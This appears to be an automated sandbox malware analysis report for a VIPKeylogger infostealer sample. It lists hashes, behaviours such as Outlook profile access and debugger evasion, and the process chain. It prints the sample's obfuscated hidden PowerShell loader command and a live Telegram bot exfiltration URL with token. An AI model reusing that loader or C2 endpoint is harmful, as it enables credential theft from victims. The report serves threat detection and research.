Analysis
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max time kernel
143s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-12-2024 07:10
Static task
static1
Behavioral task
behavioral1
Sample
Untangibility90.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Untangibility90.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
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Target
Untangibility90.exe
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Size
1.1MB
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MD5
343b6d84d887fc6f42e259c22ddce824
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SHA1
e7423cd8620ecb4dee9e1781386c1d0273bcd373
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SHA256
dd5ae442b593e4611d93ddcf5606f20ea4686a9d63b46f546a7f86bd1785d41b
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SHA512
1b697bd0446b44c05fc2cea0ea073476486c8f754797c714a6dc4578267dcc8a23243c0c65b9a7cd603a0b3bbf4cd5c995aae75cddd9759f69cb3d28e9785852
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SSDEEP
24576:ONrNYo3K+3fC/j6U3VwV5k7j5awX300zQUGtZV:e+L463VwXgj5aEkHUGtZV
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7668974942:AAFyrHvXMv2uhMX9l0hNEPNVnFxCDfLErLs/sendMessage?chat_id=7295320361
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4420 powershell.exe -
Loads dropped DLL 1 IoCs
pid Process 2456 Untangibility90.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 22 756 msiexec.exe 24 756 msiexec.exe 26 756 msiexec.exe 28 756 msiexec.exe 32 756 msiexec.exe 47 756 msiexec.exe 50 756 msiexec.exe 54 756 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 21 drive.google.com 22 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 46 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\stilhederne\tamtammens.ini Untangibility90.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 756 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4420 powershell.exe 756 msiexec.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\inddatafunktionens.Tra Untangibility90.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Untangibility90.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4420 powershell.exe 4420 powershell.exe 4420 powershell.exe 4420 powershell.exe 4420 powershell.exe 4420 powershell.exe 4420 powershell.exe 756 msiexec.exe 756 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4420 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4420 powershell.exe Token: SeIncreaseQuotaPrivilege 4420 powershell.exe Token: SeSecurityPrivilege 4420 powershell.exe Token: SeTakeOwnershipPrivilege 4420 powershell.exe Token: SeLoadDriverPrivilege 4420 powershell.exe Token: SeSystemProfilePrivilege 4420 powershell.exe Token: SeSystemtimePrivilege 4420 powershell.exe Token: SeProfSingleProcessPrivilege 4420 powershell.exe Token: SeIncBasePriorityPrivilege 4420 powershell.exe Token: SeCreatePagefilePrivilege 4420 powershell.exe Token: SeBackupPrivilege 4420 powershell.exe Token: SeRestorePrivilege 4420 powershell.exe Token: SeShutdownPrivilege 4420 powershell.exe Token: SeDebugPrivilege 4420 powershell.exe Token: SeSystemEnvironmentPrivilege 4420 powershell.exe Token: SeRemoteShutdownPrivilege 4420 powershell.exe Token: SeUndockPrivilege 4420 powershell.exe Token: SeManageVolumePrivilege 4420 powershell.exe Token: 33 4420 powershell.exe Token: 34 4420 powershell.exe Token: 35 4420 powershell.exe Token: 36 4420 powershell.exe Token: SeDebugPrivilege 756 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2456 wrote to memory of 4420 2456 Untangibility90.exe 84 PID 2456 wrote to memory of 4420 2456 Untangibility90.exe 84 PID 2456 wrote to memory of 4420 2456 Untangibility90.exe 84 PID 4420 wrote to memory of 756 4420 powershell.exe 91 PID 4420 wrote to memory of 756 4420 powershell.exe 91 PID 4420 wrote to memory of 756 4420 powershell.exe 91 PID 4420 wrote to memory of 756 4420 powershell.exe 91 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe"C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:756
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
74KB
MD54208643fc8d9783f1b2e17ca3deeee0f
SHA12ad1b4267f8474a46d6db4b3730a8d0d3ba61ff6
SHA256ef1f9e0ba387a0c17b6df3d877f4d11210795a511cb8b4c402a3ede617a3c14f
SHA512455e00b2c8810a1fd600c983b13f8207e4d3c7325cea185717f493cc59b4df2285b745cd9b48ed05bce1a8f15474c77aacc70fdc70ef04f485e084d9818431c5
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Filesize
339KB
MD5002c9ad83d194cb8cb694abff1c3d622
SHA18da382e12583ce84ee86d8ab07aaae37881379e0
SHA2569f8ba35b79484641d11e46016e90301419c59300b30c7adf0556eae34e29c63c
SHA51250c5465801e77eabb14b39a9cf101d45d23598b9a76d4253ab6ffa0e660bf16c75b5f26402092fa6ea0ff7504165b8f1ce6b26063c5381ab2e890ea3d4645845
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683